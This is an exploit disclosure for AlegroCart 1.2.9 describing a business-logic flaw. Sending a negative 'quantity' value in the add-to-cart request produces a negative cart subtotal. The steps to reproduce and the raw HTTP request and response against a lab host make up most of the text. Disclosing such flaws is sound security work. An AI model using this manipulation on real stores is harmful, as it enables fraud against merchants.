# Exploit Title: Business Logic Flaw: Price Manipulation - alegrocartv1.2.9
# Date: 04/2025
# Exploit Author: Andrey Stoykov
# Version: 1.2.9
# Tested on: Debian 12
# Blog: https://msecureltd.blogspot.com/

Business Logic Flaw: Price Manipulation #1:

Steps to Reproduce:

1. Visit the store and add a product
2. Intercept the HTTP GET request and add negative value to the "quantity"
parameter


// HTTP GET request

GET
/alegrocart/index.php?controller=addtocart&action=add&item=10&quantity=-100
HTTP/1.1
Host: 192.168.58.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0)
Gecko/20100101 Firefox/138.0
[...]


// HTTP response

HTTP/1.1 200 OK
Date: Thu, 03 Apr 2025 22:16:58 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
Perl/v5.16.3
X-Powered-By: PHP/5.6.40
Cache-Control: max-age=0, private, no-store, no-cache, must-revalidate
Expires: Thu, 03 Apr 2025 22:16:58 GMT
Vary: Accept-Encoding
Content-Length: 813
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<div class="headingcolumn pointer" onclick="ShowCart()"><h3>Cart
 ^</h3></div>
<div  class="cart">
<div id="cart_content" class="cart_content">
<div id="cart_products">
<table>
<tr>
<td>-100&nbsp;x&nbsp;</td>
<td class="ff"><a href="
http://192.168.58.129/alegrocart/?controller=product&amp;product_id=10
">Featured13/8&quot;&amp;1/2&quot;</a></td>
<td class="ee"> $-1,599.00</td>
</tr>
</table>
</div>
<div class="aa">Subtotal:$-1,599.00</div>
<div class="cc">1 Product(s) - <div class="dd">-100 Item(s)</div></div>
<div class="bb" id="cart_button"><a href="
http://192.168.58.129/alegrocart/?controller=cart">View Cart</a></div>
[...]